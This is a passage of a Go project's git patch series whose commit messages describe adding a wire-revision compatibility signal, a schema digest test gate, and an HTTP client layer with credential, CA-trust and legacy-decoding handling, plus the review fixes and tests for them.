WALKS. The + // edge arm stops at one level, so a grandchild with an edge of its own is + // not in the answer, while the prefix arm reaches every edge-less dotted + // id at any depth (backend/conformance/reader_contract.go pins that arm). + // It is NOT the recursive descendants walk — that is ReadyRequest.ParentID + // above, a DIFFERENT field on a different request, backed by + // GetDescendantIDsInTx (GH#3396); on the ReadyFlag arm this field crosses + // to that query and resolves recursively there. + // The recursive tree that `bd list --parent X` renders by DEFAULT comes + // from cmd/bd/list_show_filter_modes.go's findAllDescendants re-running + // this clause against the store once per level and accumulating the + // results client-side, not from this field answering a deeper question. + // --flat, --json and --format skip that walk and return exactly this + // field's answer, which is why the flat listing is the invocation that + // agrees with `bd count --parent X`'s cardinality. + // + // NoParent restricts to rows with no parent-child dependency edge. It has + // no dotted-id arm, so an edge-less "X.1" matches BOTH ParentID X and + // NoParent. The ReadyFlag arm refuses it; see that field. ParentID string NoParent bool MolType *MolType From 6d7fecaa3eff8449d1c53de6f961ac302bf149e5 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 02:58:34 -0700 Subject: [PATCH 103/325] feat(httpclient): OSS HTTP client wire/encode layers (contributed from bd-enterprise under MIT) (#7210) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpapi): wire-shape signal — wire_revision, floor header, golden digest, param tokens S0 of the HTTP role-parity program: give a client a single place to learn whether this build's wire shape has moved under it, and give CI a gate that catches an undocumented move. - GET /v0/beads/context reports wire_revision (bumps only on a non-additive response-shape change) and min_client_wire_revision. An optional Bd-Wire-Revision request header lets a client declare the revision it was built for; checkWireRevision refuses a declared revision below the floor with 400 invalid_argument/reason=wire_revision_unsupported and a min_wire_revision field, on every route but /healthz (wireRevisionExempt) — including the identity handshake, where catching the mismatch is cheapest. Absent header is today's behavior; malformed value is invalid_value, never wire_revision_unsupported. The floor lives in Server.minClientWireRevision (defaulting to the MinClientWireRevision constant) so a test can raise it. - internal/httpapi/wireshape: a golden digest over every response's every content-type schema (including application/problem+json) across the whole spec, keyed by schema+member. TestWireShapeDigest fails closed when a member's JSON name or type changes without wire_revision bumping to match; regenerate with `go run ./internal/httpapi/wireshape/cmd/gendigest`. - GET /v0/beads/issues' `sort` parameter now carries the issues.listSort capability token, the same convention `capabilities` entries use. TestNewParameterOnExistingOperationHasABehaviorToken requires every new parameter on an existing operation to carry one, checked against a write-once grandfather baseline (testdata/pretoken_parameters.json) of parameters that predate the rule; TestUntokenedParameterRuleFires proves the checker itself against a synthetic fixture. - Docs: engdocs/design/bd-serve-v0.md gets a "The wire-shape signal" section; CHANGELOG.md gets an Added entry. Live-mutated and reverted three RED demonstrations during development: retyping api_version in the spec failed TestWireShapeDigest; short-circuiting checkWireRevision's floor comparison failed TestWireRevisionBelowFloorRefusesEveryEnforcedRoute; adding an untokened query parameter to listIssues failed TestNewParameterOnExistingOperationHasABehaviorToken. All three now pass against the unmutated tree. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): rename issues.listSort to issues.list.sort, harden token rule Opus review of 12c5144ca (HIGH-1, MEDIUM-5): - Rename the capability token issues.listSort -> issues.list.sort to match bd-enterprise's client (httpstore/wire/handshake.go:121, DESIGN.txt S4e), and widen capabilityToken to accept an optional third segment. - untokenedParameters() now requires the extracted token to be one Capabilities() actually serves, not just backtick-shaped text. This catches real false positives that existed in the spec already (workapi.DefaultReadyLimit, status.custom) which only shape-matched the old regex; they're added to the pretoken baseline as genuinely pre-existing untokened parameters. - Extend the rule to request body members (new testdata/pretoken_request_body_members.json baseline) and exempt brand-new operations via a frozen testdata/pretoken_operations.json snapshot. - Add TestPretokenBaselinesNeverGrow pinning all three baseline sizes so a future change can't hand-add an exemption instead of a token. - Update spec prose for the widened rule scope. go test ./internal/httpapi/... and the reviewer's pmut.py all pass as expected: plain/bogus modes go RED, reuse (real-but-unrelated token) stays green, matching the review's literal ask ("a token must be one advertised by Capabilities()"). Co-Authored-By: Claude Sonnet 5 * fix(wireshape): close four digest-coverage gaps, add gendigest write guard Opus review of 12c5144ca (HIGH-2, MEDIUM-4). The digest only tracked Type/Format/Enum/Required on direct properties, missing: - nullable: true (never read at all) - array item shape (Issue.labels items string->integer was invisible; only object-shaped items got recursed into) - additionalProperties value shape (IssueCount.groups) - request bodies entirely (Compute() only walked responses, so DeleteIssuesRequest.expected_version string->integer, the other half of #6053, was invisible) Also added defensive oneOf flattening alongside the existing allOf merge (dormant today -- grep confirms this spec uses oneOf nowhere -- but no longer silently invisible if that changes). Extracted the golden-vs-computed comparison into wireshape.Compare(), shared by TestWireShapeDigest and the new wireshape.SafeToWrite(), which gendigest now calls before writing: it refuses to overwrite golden.json with changed/removed entries unless the candidate's wire_revision is strictly greater than the existing golden's. Pure additions always write. TestSafeToWrite exercises both guard directions. golden.json is regenerated. This single regen is a one-time exception to the new guard, done by writing the digest directly rather than through gendigest: confirmed via a throwaway diff (not checked in) that every one of the 57 "changed" entries differs only in the NEW fields the wider walk now populates (ItemType/ItemFormat/Nullable/AdditionalProps*) -- every pre-existing Type/Format/Required/Enum value is byte-identical. Nothing on the wire changed; the measurement got more precise. Bumping CurrentWireRevision for this would have written a false "the protocol changed here" entry into the revision history table. Going forward, any REAL change the guard now reports uses the normal bump-then-regenerate path, same as before. Verified against the reviewer's mut.py: nested_type, nullable, nullable_issue, array_items, addlprops, request_body and format all go RED on TestWireShapeDigest, each reverted after confirming. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): make bd_version wire_revision inference advisory Opus review of 12c5144ca (HIGH-3). The spec told a client inferring wire_revision from bd_version to use the release cutoff >= 1.3.0, and said nothing about what happens when that inference is wrong -- which it demonstrably is for real builds already in the field: - main builds up to commit b3ef65c85 report bd_version 1.2.2 (below any 1.3.0 cutoff) while already sending the string-typed revision/ expected_version shape (#6053). - 1.3.0-rc.N pre-release builds sort BELOW the release cutoff 1.3.0 under plain string comparison despite already carrying the string shape. - The bd-enterprise compatibility line at d3ab32773462 reports bd_version 1.1.0 while also sending strings. Moved the cutoff to >= 1.3.0-rc.1 (compared as semver-with-prerelease, which at least captures the rc builds), documented both named exceptions inline, and made the whole inference explicitly ADVISORY: a client must accept revision/expected_version as either a string or a number whenever wire_revision is absent (or probe directly) rather than let the inferred value choose a decoder, and must never refuse solely because the inferred revision is 0. Mirrored into engdocs/design/bd-serve-v0.md. This is spec/doc prose only -- there is no server-side inference code to change, since this server always sends wire_revision directly; the inference is guidance for clients reading a pre-signal server's response (this server, past builds, or an unrelated implementation). Co-Authored-By: Claude Sonnet 5 * fix(httpapi): LOW-7/8/9/10 review follow-ups for wire-revision signal LOW-7: WireRevisionUnsupported now also sets Problem.wire_revision (this server's CurrentWireRevision) and Problem.bd_version on the wire_revision_unsupported refusal, alongside the existing min_wire_revision, so a client logging the refusal has this server's full self-description without a second /v0/beads/context call. LOW-8: gazelle + make bazel-sync add the BUILD.bazel entries the prior commits were missing: wire_revision.go/wire_revision_test.go in internal/httpapi's srcs, new BUILD.bazel files for wireshape and wireshape/cmd/gendigest, and a testdata glob on httpapi's go_test so the pretoken_*.json baselines are visible under `bazel test`. Verified with `bazel build //internal/httpapi/...` and `bazel test //internal/httpapi/... --test_env=BEADS_TEST_SKIP=dolt` (both green) and `python3 tools/bazel/go_srcs.py --check` (clean). LOW-9: narrowed CHANGELOG.md and engdocs/design/bd-serve-v0.md to describe the digest's actual final coverage (format/enum/required/ nullable, array items, additionalProperties, request bodies, $ref/ allOf/oneOf recursion, the SafeToWrite revision-bump guard) and the token rule's actual final shape (three pinned baselines, request-body members, Capabilities()-membership validation, new-operation exemption) instead of the original, narrower claims. LOW-10: Bd-Wire-Revision now parses via a strict decimal-only parseStrictNonNegativeInt (no leading '+', no leading zero except a bare "0") instead of strconv.Atoi alone, so two different header bytes can no longer name the same revision. New malformed-header test cases: "+1", "01", "007". Regenerated apigen/types.gen.go (make api-gen) for the new Problem fields and wireshape/testdata/golden.json (go run .../wireshape/cmd/gendigest) for the two new additive Problem members; the latter wrote cleanly through SafeToWrite itself, since both are pure additions. go test ./... and bazel test //internal/httpapi/... both green. Co-Authored-By: Claude Sonnet 5 * fix(httpapi): re-review LOW follow-ups — retirement test, gendigest -init, docs 1. TestRetiredRevisionsStayBelowTheFloor pins the PRESENCE guarantee the wire_revision property doc relies on: CurrentWireRevision >= 2 (so 0 and 1 stay permanently retired) and MinClientWireRevision <= CurrentWireRevision (so this build's own floor never refuses every request against itself). 2. gendigest now refuses to create a golden.json that does not exist yet unless run with -init. Previously a missing file (moved testdata, wrong path, accidental delete) was indistinguishable from a real first run and silently wrote a fresh golden with no revision history checked against anything. writeGolden() is extracted out of main() so this is covered directly: TestWriteGoldenRequiresInitWhenMissing, TestWriteGoldenInitCreatesWhenMissing, TestWriteGoldenIgnoresInitWhenGoldenExists (the existing-golden path is still governed only by SafeToWrite, -init or not). 3. Narrowed the two remaining stale claims that still described the digest's original, narrower coverage: the wire_revision property's prose in openapi.v0.yaml (regenerated into apigen/types.gen.go via make api-gen) and wireshape/doc.go now both list nullable, array item shape, additionalProperties value shape, request bodies, and $ref/allOf/oneOf recursion, plus the new -init guard. go test ./internal/httpapi/... and make api-check both green; bazel test //internal/httpapi/... (httpapi, wireshape, and the new gendigest test target) green; python3 tools/bazel/go_srcs.py --check clean. Co-Authored-By: Claude Sonnet 5 * feat(wireshape): cover operation parameters in the wire-shape digest The digest previously walked only response and request-body schemas, so a type, enum, required, or removal change on one of the spec's 138 operation parameters (123 query, 14 path, 1 header) passed the gate silently — the open item from PR review on #7182. Each parameter is now recorded as its own Entry, keyed by "param:"+operationId / location+":"+name (operation-scoped, not schema-scoped, since two operations' same-named parameter are independent wire contracts), capturing type, array item shape, enum, required, style, explode and default. Adding a parameter stays additive; removing, retyping, narrowing its enum, or changing required/style/explode/default now trips SafeToWrite exactly like a response or request-body change. Verified against the live spec: retyping listIssues' `limit` query parameter from integer to string now fails TestWireShapeDigest (confirmed red, then reverted — not part of this commit). golden.json regenerated via gendigest; the new parameter entries are a pure addition, no wire_revision bump needed. Added TestParameterMutationsAreCaught (remove/retype/narrow- enum against real golden entries) and updated wireshape's doc.go, the `wire_revision` spec prose, and the CHANGELOG to describe the new coverage. Co-Authored-By: Claude Sonnet 5 * fix(wireshape): review fixes — stale-golden and lowered-revision arms, effective param serialization, digest boundary Maintainer fixup from the adopt-pr review loop (iterations 1 and 2), on top of e17ba924f. - goldenDrift (A, I): TestWireShapeDigest's comparison moves into a goldenDrift helper. An addition alongside a moved wire_revision no longer passes with a stale golden: it asks for a regenerate, as a changed or removed entry after a bump already did. Every message now names response/request-body members AND parameters, and TestGoldenDrift pins each arm. This takes only the test half of the stranded fixup (adopt-pr/bd-47kdge/stranded-fixup-528cd6095); its doc half, which says parameters are outside the digest, is false since e17ba924f and is not replayed (J). - Lowered wire_revision (D): a CurrentWireRevision LOWER than the golden's is a wrong constant, not a stale golden, so goldenDrift says to restore it instead of regenerating, and SafeToWrite (so gendigest) refuses any write at a lower revision, whatever the entries. - Effective style/explode (B): walkParam records style and explode with OpenAPI 3.0's defaults filled in (form for query/cookie, simple for path/header; explode defaults to style == form). Adding `explode: false` to a query array that relied on form's implicit explode is now a changed entry, while spelling out a default changes nothing. testdata/golden.json is regenerated with -init: 111 parameter entries change only in style/explode (96 to form/true, 15 to simple), 828 entries before and after, wire_revision stays 2. The golden is new in this PR and unreleased, so this needs no bump. - TestWalkParam (H): a package-internal table test (wireshape_internal_test.go) pins every field walkParam extracts, through a computeFrom(document, revision) seam that Compute now wraps: per-location defaults, $ref'd parameters and items, format, nullable and default, content parameters, and the nil returns. TestEffectiveSerializationIsCompared pins B end to end through Compare and SafeToWrite. BUILD.bazel embeds the library in the go_test, which is gazelle's own output. - Required inputs and the digest boundary (C, E, F; docs only): all five prose surfaces (openapi.v0.yaml's wire_revision description and the regenerated apigen/types.gen.go, wireshape/doc.go, CHANGELOG.md, engdocs/design/bd-serve-v0.md) now say that a new REQUIRED request input is recorded as an ordinary addition and needs its own review, that value constraints and member-level composition are outside the digest, and that object and content parameters are recorded only as their container. bd-serve-v0.md also gains the parameter coverage it was missing. - G: a brand-new operation is permanently exempt from the capability-token rule; its own review decides its capability story. - Iteration 2 (nit): walkParam's comment now says that the location default it records as a `content` parameter's style and explode is a placeholder, since OpenAPI 3.0 applies style and explode only to a parameter described by `schema`. All 138 operation parameters in the spec use `schema`, so the golden does not change. Validated: go test ./internal/httpapi/... (gms_pure_go), make api-check, go vet for linux/windows/darwin, gofmt, git diff --check, gazelle on the package (no drift), make bazel-sync-check, and bazel test //internal/httpapi/wireshape/... in the local processwrapper sandbox (2 of 2 pass). Overlay mutation probes: dropping the added-after-bump arm, the lowered-revision arm, SafeToWrite's lowered check, or the effective-default fill each turns the new tests red. Iteration 2 changes only that comment; go test ./internal/httpapi/wireshape/... (gms_pure_go), go vet, gofmt and git diff --check pass again. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * feat(httpclient): lift the HTTP client wire/encode layers from bd-enterprise (MIT contribution) Contributed by gascity from bd-enterprise (github.com/gascity/bd-enterprise, internal/enterprise/httpstore @ 49d1df2f6) to OSS beads under the MIT license, with the owner's explicit approval. Every lifted file carries a provenance header naming its source path. Lifted into internal/httpclient: - wire/ the HTTP transport, lazy handshake, project-identity stamping, problem-code decoding, retry behaviour and the capability vocabulary - encode/ request/response encoders for the role operations - credential*.go, ca*.go, target*.go the bearer credential ladder, host-scoped CA trust and the http_target.json sidecar Not lifted (stays enterprise-only): the hosted gateway (httpgw/gwauth), box-login, storage profiles and gasworks. Deferred to later slices (kept aside, not in this tree): the store transport seam (WireClient/WireDialer/process-wide dialer, which goes to S3 with dial.go), the enterprise-only BatchCloseRequest.claim_next encoder (ClaimNextBody; the OSS server has no claim_next on batch close), and the tests that need the store/dial layer. This commit is the mechanical lift: import paths rewritten, package renamed, two compile gaps removed. The production code builds. Known follow-up in the next commit: reconcile the client's vocabularies and encoder tables with the OSS spec (e.g. the OSS problem code notes_overwrite_refused, policy/sort differences), restore the test helpers the lifted tests need, and wire in the S0 wire_revision handling and S1 OpenOptions credentials. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): compile the lifted client and reconcile with the OSS wire The lift in ab11cb1f8 carried relative test paths and vocabulary tables from bd-enterprise's internal/enterprise/httpstore (4 directories below repo root) into internal/httpclient (3 below), and several tables described enterprise-only server behavior OSS does not serve. Reconcile: - Add testTarget test helper (written fresh) so internal/httpclient compiles and its tests pass. - Fix four relative paths off by one "../" from the package relocation (skew_test.go, ledger_render_test.go, bijection_test.go x2). - skew_test.go: importsHTTPClient now matches internal/httpclient instead of the retired internal/enterprise/httpstore path; the cmd/bd sweep no longer hard-fails when it legitimately finds zero matching files (cmd/bd does not import this client yet - that's S3's wiring). - encode/table.go, encode/ledger_fields.go: removed a Reserved "reverse" entry and a refused ExcludeIDs field claimed for listIssues/ReadyRequest; OSS's listIssues never accepts "reverse" (confirmed against internal/httpapi/reads.go and routes.go's CapIssuesListSort, which gates `sort` only) and issueops.ReadyRequest carries no ExcludeIDs member in OSS. Each removal is documented in place. - encode/table.go, encode/encode.go, encode/roundtrip_test.go: countIssues publishes has_metadata_key and include_ephemeral that CountRequest carries and the table/encoder/round-trip corpus all silently dropped; mapped and wired through. - encode/ledger.go: ~70 ledger rows cited enterprise store-conformance and cmd/bd subprocess-parity tests (dual-run reader, claim races, flag-mode refusals) that don't exist in this package and belong to S3's store/dial seam and cmd/bd wiring. Re-pinned to a documented TODO(S3) sentinel (pinnedByS3Conformance) rather than deleted, per the ledger's own well-formedness discipline. - wire/handshake.go, wire/vocabulary_test.go: added CapBatchApplyLarge (issues.batchApplyLarge) alongside the server's behaviorCapabilities. - wire/problem.go: mapped the notes_overwrite_refused problem code to issueops.ErrNotesOverwrite. internal/httpclient/... is fully green. Co-Authored-By: Claude Sonnet 5 * feat(httpclient): wire-revision handshake gate and batch cap from capability S0 integration (task #2): Client.Handshake now reads ContextResponse's wire_revision/min_client_wire_revision and refuses with a typed *WireRevisionSkewError before any post-handshake call when the server's wire shape falls outside [ClientMinWireRevision, ClientWireRevision] -- mirroring DESIGN.txt sec 4's "Client rule". A decoded 0 is treated as "the server omitted the member" per the permanently-retired-values rule, never as a value needing refusal. The client now also stamps Bd-Wire-Revision on every request (client.go's stampRequest), and problem.go gained the per-request mirror: *WireRevisionUnsupportedError, decoded from the reason:"wire_revision_unsupported" extension members, for the case where the SERVER refuses this client's declared revision as too old. Both error types are deliberately distinct -- one is this client declining after reading a 200, the other is the server refusing a request outright -- and neither branches on bd_version (only assigns it into error text), so TestNoFeatureBranchesOnBdVersionOrSchemaVersion stays green. Also added legacyRevisionFields/decodeRevisionToken to problem.go: a precondition_failed refusal's expected_version/actual_version, typed *string on the generated Problem, now tolerates a pre-#6053 server sending either as a bare JSON integer rather than the decimal string every server since has used, recovering the field the primary decode silently drops rather than losing it. Batch cap (task #3): ApplyBatch reads the handshake snapshot on every call and enforces 100 items unless the server advertises issues.batchApplyLarge, in which case the ceiling is issueops.MaxApplyBatchItems (1000) -- never a bare compiled constant. A plan over the applicable cap refuses before the dial: via the existing *CapabilityError machinery when advertising the capability would help (D7 case 2), or via a new *BatchTooLargeError (unwraps to issueops.ErrValidation) when it would not. BatchTooLargeError lives in handshake.go rather than beside ApplyBatch because every exported method in writes.go is swept by TestEveryOperationMethodRoutesThroughTheSharedDispatch as an operation-dispatch method. All three internal/httpclient/... packages build and `go test` passes with TMPDIR=/data/projects/.scratch/s2t BEADS_TEST_SKIP=dolt. Co-Authored-By: Claude Sonnet 5 * feat(httpclient): REQUIRE-mode credential resolution bridge to backends.Credential Task #4: adds the knob internal/storage/backends/backends.go's OpenOptions.Credential doc explicitly deferred ("S1 does not add a RequireCredential knob to enforce the multi-tenant rule mechanically -- that is deferred to S2"). ProvidedCredential wraps an embedder-supplied wire.CredentialProvider (via its httpclient alias) as a backends.Credential, so a multi-tenant embedder (for example gc, Gas City: one process serving many workspaces) can carry a per-workspace credential through backends.OpenOptions without the backends package needing to know this package's CredentialProvider shape. ResolveCredential(opts, base, require) is the bridge itself: - nil Credential, require=false: NewBearerProvider(base), the existing single-tenant ambient bearer ladder (unchanged). - nil Credential, require=true: ErrCredentialRequired -- the multi-tenant fail-closed case backends.go's doc names: a missing per-workspace credential must be a loud refusal, not a silent fall-through to process-global ambient env that cannot tell one tenant's workspace from another's. - a ProvidedCredential with a non-nil Provider: returned directly, regardless of require. - a ProvidedCredential with a nil Provider, or any other backends.Credential this package does not recognise: refused -- the former as ErrCredentialRequired (a present-but-empty wrapper must not look like "a credential was supplied"), the latter wrapping backends.ErrUnsupportedCredential per the OpenWith contract internal/storage/backends/open_with_test.go already pins (TestBackendOpenWithRefusesUnsupportedCredentialType). No bd-enterprise source was copied for this file; it is new code written against the OSS backends.go contract and the existing BearerProvider/ CredentialProvider types already lifted into this package. Live-mutated all three guards (the require branch, the ProvidedCredential type assertion, and the nil-Provider check) and confirmed each produces a RED test before reverting. go build/vet/gofmt clean; `go test ./internal/httpclient/...` passes with TMPDIR=/data/projects/.scratch/s2t BEADS_TEST_SKIP=dolt. Co-Authored-By: Claude Sonnet 5 * test(httpclient): S2 task #6 wire-revision/legacy-decode coverage, fix legacyRevisionFields bug Add httptest coverage for the two wire-revision mechanisms task #2 added (commit 7ff68b29d8): - handshake_wire_revision_test.go: the client-initiated skew gate (checkWireRevision/WireRevisionSkewError) and the per-request Bd-Wire-Revision header stamp. Live-mutated both switch arms in checkWireRevision and the stamped header value; confirmed RED, reverted. - problem_wire_revision_test.go: the server-initiated wire_revision_unsupported refusal (reason-before-code dispatch priority) and the legacy-integer revision-token fallback. Writing the legacy-decode tests surfaced a real bug in legacyRevisionFields: its presence guard treated any non-nil *string field as "already decoded," but encoding/json's indirect() pre-allocates a pointer to "" for a *string field before discovering a type mismatch (e.g. a bare JSON integer). A type-mismatched expected_version/actual_version therefore arrived as a non-nil pointer to the empty string, not nil -- exactly the one case the fallback exists to recover, and exactly the case the old guard skipped. Fixed by adding revisionNeedsFallback(p) (nil-or-empty), used in place of the bare nil checks. No legitimate server response uses a literal empty-string revision token, so this changes no other behavior. Live-mutated the fixed guard back to the old nil-only checks; confirmed RED on both recovery tests, reverted. Co-Authored-By: Claude Sonnet 5 * test(httpclient): S2 task #6 ApplyBatch item-cap coverage Add writes_batch_cap_test.go: httptest coverage for ApplyBatch's capability-gated item ceiling (task #3), separate from the generic two-speed "is issues.batchApply routed at all" gate writes_twospeed_test.go already covers. Cases: at-or-under the 100-item floor succeeds without the capability; over the floor without issues.batchApplyLarge refuses with a *CapabilityError before any dial past the handshake; the capability raises the ceiling to issueops.MaxApplyBatchItems (1000), both at the new ceiling and strictly between the old floor and it; over the absolute ceiling refuses with *BatchTooLargeError regardless of the capability, also without dialing the batch-apply endpoint. Live-mutated all three guards in ApplyBatch (the limit computation, the n > limit check, and the capability-vs-absolute-ceiling branch); confirmed each produces a distinct RED, reverted. Co-Authored-By: Claude Sonnet 5 * test(httpclient): S2 task #6 live TLS coverage for wrong-CA refusal Add ca_wrong_ca_test.go: an end-to-end httptest TLS dial proving TransportFor's configured CA pool is actually enforced at the wire, not just recorded on the transport struct. ca_test.go already proves the latter (TestTransportForReplacesRootPoolNotExtends, via x509.CertPool.Equal) and proves the RIGHT CA dials successfully (TestTransportForFileRotationClosesSupersededIdleConnections's live GETs); neither exercises a server whose leaf a DIFFERENT CA signed. TestTransportForWrongCARefusesTheTLSHandshake dials a server through a transport built from an unrelated CA file and asserts the handshake fails with x509.UnknownAuthorityError. TestTransportForRightCASucceedsOverTLS is the positive control, using the same (newly-exercised) ca.startServer helper that was defined but had no caller before this test -- without it, a mutation that drops RootCAs entirely (falling back to the system pool) would still pass the wrong-CA test for the wrong reason; the positive control catches that case. Live-mutated transportForFile to drop RootCAs; confirmed the positive control goes RED, reverted. Co-Authored-By: Claude Sonnet 5 * build(bazel): gazelle BUILD files for the lifted httpclient package tree Task #7: bazel run //:gazelle, now that internal/httpclient and its encode/wire subpackages exist in the OSS tree (ab11cb1f8) and have gained this S2 slice's new files. No existing BUILD.bazel files changed; these three packages previously had none. Note for S3: bazel test //internal/httpclient/... fails on tests that read sibling source trees by relative path at runtime (TestLedgerRowsAreWellFormed, TestEveryEncoderTableParameterIsPublished, TestDivergenceLedgerDocMatchesLedger in encode, and TestNoFeatureBranchesOnBdVersionOrSchemaVersion, TestEveryOperationMethodRoutesThroughTheSharedDispatch, TestEveryOperationMethodIsCoveredByTheTwoSpeedTable in wire) -- paths like ../../../cmd/bd and ../../httpapi/spec/openapi.v0.yaml resolve under `go test`'s working directory but not Bazel's sandbox, which gazelle cannot infer `data` attributes for. Pre-existing in code from task #1/#2, not introduced by this commit; `go test ./internal/httpclient/...`, `go vet ./...`, `gofmt -l .`, `golangci-lint run ./internal/httpclient/...`, and `make api-check` are all clean. Co-Authored-By: Claude Sonnet 5 * fix(httpclient/wire): tolerate bare-integer revision on success-path responses Review HIGH #2: against a fake pre-#6053 server (one whose ContextResponse omits wire_revision), CloseIssue and its revision-bearing siblings (ApplyBatch, ReleaseIssue, ReopenIssue, UpdateIssue) failed with an untyped `json: cannot unmarshal number ... revision of type string`. S0's string-or-number tolerance (problem.go's legacyRevisionFields) only covered the problem+json error path, never the success path. Adds revision_tolerance.go: a pre-unmarshal rewrite that walks a response body and turns a bare JSON number at a "revision" key into its exact decimal string, scoped to the five apigen response types that carry the member and gated on the handshake having seen no wire_revision at all. Left apigen/types.gen.go and the OpenAPI spec untouched (both are regenerate-and-diff gated by `make api-check`), rather than introducing a custom Revision JSON type through codegen, to keep the fix's blast radius to the wire package's own reader. Updates ClientMinWireRevision's doc comment (handshake.go) to describe tolerance on both halves of the wire instead of overclaiming the error-path fix alone covered it. Adds revision_tolerance_test.go: a read (ListReadyWork) and a guarded write (CloseIssue with ExpectedVersion) against a fake pre-#6053 server, plus a modern-server control proving the rewrite never fires when wire_revision is present. Mutation-tested: disabling the rewrite reproduces the exact untyped UnmarshalTypeError the review reported. Co-Authored-By: Claude Sonnet 5 * build(bazel): sandbox internal/httpclient's source-reading tests (Bazel gate green) Review HIGH #1: the Bazel lane was red because three tests under internal/httpclient read sibling/cross-package files by relative OS path at runtime, which bazel test's sandbox does not materialize without an explicit `data` dependency. - internal/httpclient/encode/BUILD.bazel: encode_test gets data = ["//cmd/bd:go_srcs", "//internal/httpapi/spec:openapi.v0.yaml", "//:engdocs/design/http-divergence-ledger.md"] + glob(["*.go"]), covering bijection_test.go's cmd/bd scan and ledger_render_test.go's golden-doc read. - internal/httpclient/wire/BUILD.bazel: wire_test gets data = ["//cmd/bd:go_srcs", "//internal/httpclient:go_srcs"] + glob(["*.go"]), covering skew_test.go's AST sweep of both trees. - internal/httpclient/BUILD.bazel gains a go_srcs filegroup via `make bazel-sync` (tools/bazel/go_srcs.py): added "internal/httpclient" to the script's managed PACKAGES list rather than hand-writing the block. - internal/httpapi/spec/BUILD.bazel and the root BUILD.bazel gain exports_files for openapi.v0.yaml and engdocs/design/http-divergence-ledger.md, scoped to //internal/httpclient/encode:__pkg__. - bijection_test.go's loadPublishedParameters now reads the wire contract through spec.OpenAPIV0() (the package's existing go:embed) instead of a relative os.ReadFile path, per review suggestion -- the embed makes the parameter set reachable without a `data` dependency on the YAML at all; the openapi.v0.yaml data entry above stays as defense in depth for any other reader the package gains. Ran via `bazel run //:gazelle` then `python3 tools/bazel/go_srcs.py` (bazel-sync-check passes). `bazel test //internal/httpclient/...` is fully green: 3/3 test targets pass. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): scrub private/enterprise infra references from code and docs Review MEDIUM #3. Provenance headers ("Contributed by gascity from bd-enterprise...") stay by design -- this removes references to private infrastructure and unported internals from comment bodies and generated docs: - wire/doc.go: dropped the internal/enterprise/hostedbeads and internal/enterprise/storageprofile build-tag comparison (neither exists in this OSS tree) and the dangling citation of the never-written engdocs/design/http-client-backend.md, replacing both with an accurate description of this package's own build-tag-free status and a pointer to the divergence ledger that does exist. - credential.go: CredentialProvider's doc no longer names gwauth/DPoP/gateway auto-detection by their private spelling; describes the interface generically. - ca.go: dropped "cherry-to-AWS RTT" (generalized to "a typical cross-region RTT") and the cmd/bd/enterprise_connect.go file reference (generalized to "a `bd connect --ca-file X`-style command"). - ca_permissions_unix.go / ca_permissions_unix_test.go: ~/.config/gascity and /etc/gascity example paths replaced with ~/.config/bd and /etc/bd. - encode/skew_test.go: beads.corp replaced with bd.example.invalid. - encode/ledger_render.go + ledger_render_test.go: the generated-doc preamble and regenerate-hint strings now name internal/httpclient/encode (this package) instead of internal/enterprise/httpstore/encode; regenerated engdocs/design/http-divergence-ledger.md via `go test ./internal/httpclient/encode -run TestDivergenceLedgerDocMatchesLedger -update-ledger-doc` rather than hand-editing it. Final grep for enterprise/cherry/gascity/corp/gwauth under internal/httpclient and engdocs turns up only: provenance headers (kept deliberately), this session's own "no bd-enterprise source copied" disclaimers, and a handful of generic "enterprise-tagged"/"enterprise server" references describing a build-tag or commercial-tier server concept in the abstract -- none name a private host, path, or credential. Co-Authored-By: Claude Sonnet 5 * test(httpclient): review LOW items -- S3 TODO, env-driven CA test, lockstep doc Review LOW #4-#6: - wire/skew_test.go: TODO(S3) on the branch where the cmd/bd AST sweep is vacuous (no store/dial wiring yet), naming the slice that closes it. - ca_wrong_ca_test.go: TestTransportForWrongCAViaEnvRefusesTheTLSHandshake, the BEADS_HTTP_CA_FILE env-driven sibling of the existing direct-CAFile wrong-CA test -- same live-TLS refusal, resolved through resolveCAFile's host-scoped env syntax instead of Target.CAFile. - vocabulary_test.go: expanded the ClientWireRevision/CurrentWireRevision comment to explain why this repo holds them in strict lockstep (client and server ship from the same commit) rather than merely <=, distinguishing it from the real cross-version compatibility ClientMinWireRevision exists for. Co-Authored-By: Claude Sonnet 5 * fix(httpclient/wire): re-review HIGH-a/b -- cover IssueDetails, stop recursing into metadata HIGH-a: the legacy-revision set was missing apigen.IssueDetails (GET /v0/beads/issues/{id}'s body, an alias for types.IssueDetails that a grep for "type ... struct" never sees). getIssue is a baseline op that can dispatch with no cached handshake at all, so serverPredatesRevisionStrings now treats "no snapshot" the same as "WireRevision == 0" instead of only the latter. revisionBearingResponse's set is now pinned exhaustively against internal/httpapi/wireshape/testdata/golden.json -- the same committed digest TestWireShapeDigest guards -- by a new test (TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember), so a future schema gaining a `revision` member can't silently miss coverage again. New coverage: both "with" and "without" a prior handshake for getIssue, and an explicit items[].revision test for ApplyBatchResponse. HIGH-b: the previous fix recursed into every nested object looking for a bare-number "revision" key, which reached caller-owned blobs like CloseIssueResponse.issue.metadata -- real user data shaped like {"revision":3} came back silently coerced to a string, on every server the broadened gate above now also covers. tolerateLegacyRevisionNumbers no longer recurses at all: it rewrites only the body's own top-level "revision", and, for *apigen.ApplyBatchResponse specifically, each item's top-level "revision" in the top-level "items" array. New TestCloseIssueLegacyRewriteNeverTouchesIssueMetadata proves a metadata document with "revision" keys at three nesting depths round-trips byte-for-byte unchanged. Mutation-tested both guards by hand (not committed): dropping the IssueDetails case turns TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember and both getIssue tests red with the exact missing-coverage/decode-failure messages; reinstating a fully recursive rewrite turns TestCloseIssueLegacyRewriteNeverTouchesIssueMetadata red, showing the metadata's revision keys silently rewritten at all three depths. Both reverted clean before this commit. internal/httpapi/wireshape/BUILD.bazel and internal/httpclient/wire/BUILD.bazel export/declare testdata/golden.json as data for wire_test's new exhaustiveness test. Verified: go test ./internal/httpclient/... (ok, one pre-existing unrelated flake in 